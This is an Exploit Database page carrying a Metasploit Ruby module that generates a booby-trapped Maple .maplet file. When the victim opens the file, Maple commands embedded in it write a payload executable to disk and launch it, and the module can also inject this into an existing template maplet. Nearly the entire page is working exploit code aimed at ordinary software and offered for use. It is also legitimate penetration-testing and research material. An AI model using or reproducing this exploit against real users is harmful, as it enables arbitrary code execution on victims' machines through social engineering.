Maple Maplet – File Creation / Command Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/16308/

• ##
  # $Id: maple_maplet.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::EXE
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Maple Maplet File Creation and Command Execution',
  			'Description'=> %q{
  					This module harnesses Maple's ability to create files and execute commands
  				automatically when opening a Maplet. All versions up to 13 are suspected
  				vulnerable. Testing was conducted with version 13 on Windows. Standard security
  				settings prevent code from running in a normal maple worksheet without user
  				interaction, but those setting do not prevent code in a Maplet from running.
  
  				In order for the payload to be executed, an attacker must convince someone to
  				open a specially modified .maplet file with Maple. By doing so, an attacker can
  				execute arbitrary code as the victim user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'scriptjunkie'
  				],
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'OSVDB', '64541'],
  					[ 'URL', 'http://www.maplesoft.com/products/maple/' ]
  				],
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => '',
  					'DisableNops' => true,
  #					'Compat'=>
  #						{
  #							'PayloadType' => 'cmd',
  #							'RequiredCmd' => 'generic perl telnet',
  #						}
  				},
  			'Targets'=>
  				[
  					[ 'Windows',
  						{
  							'Arch'=> ARCH_X86,
  							'Platform' => 'win'
  						}
  					],
  
  					[ 'Windows X64',
  						{
  							'Arch'=> ARCH_X86_64,
  							'Platform' => 'win'
  						}
  					],
  
  					[ 'Linux',
  						{
  							'Arch'=> ARCH_X86,
  							'Platform' => 'linux'
  						}
  					],
  
  					[ 'Linux X64',
  						{
  							'Arch'=> ARCH_X86_64,
  							'Platform' => 'linux'
  						}
  					],
  
  					['Universal CMD',
  						{
  							'Arch'=> ARCH_CMD,
  							'Platform' => ['unix', 'win', 'linux']
  						}
  					]
  
  				],
  			'DisclosureDate' => 'Apr 26 2010',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),
  				OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),
  			], self.class)
  
  	end
  
  
  	def exploit
  		cmd = ''
  		content = ''
  		if target['Arch'] != ARCH_CMD
  			#Get payload as executable on whatever platform
  			binary = generate_payload_exe
  
  			#Get filename and random variable name for file handle in script
  			fname = rand_text_alpha(3+rand(15))
  			if target['Platform'] == 'win'
  				fname << ".exe"
  			end
  			fhandle = rand_text_alpha(3+rand(15))
  
  			#Write maple commands to create executable
  			content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
  			exe = binary.unpack('C*')
  
  			content << "writebytes(#{fhandle},[#{exe[0]}"
  			lines = []
  			1.upto(exe.length-1) do |byte|
  				if(byte % 100 == 0)
  					lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"
  				else
  					lines.push ",#{exe[byte]}"
  				end
  			end
  			content << lines.join("") + "]);\r\n"
  
  			content << "fclose(" + fhandle + ");\n"
  			#Write command to be executed
  			if target['Platform'] != 'win'
  				content << "system(\"chmod a+x #{fname}\");\n"
  			end
  			content << "system[launch](\"#{fname}\");\n"
  		else
  			content << "system(\"#{payload.encoded}\");\n"
  		end
  
  		#Then put the rest of the original maplet
  		if datastore['TEMPLATE'] != ''
  			File.open(datastore['TEMPLATE'], 'rb') do |fd|
  				content << fd.read( File.size(datastore['TEMPLATE']) )
  			end
  		end
  
  		# Create the file
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  		file_create(content)
  	end
  
  end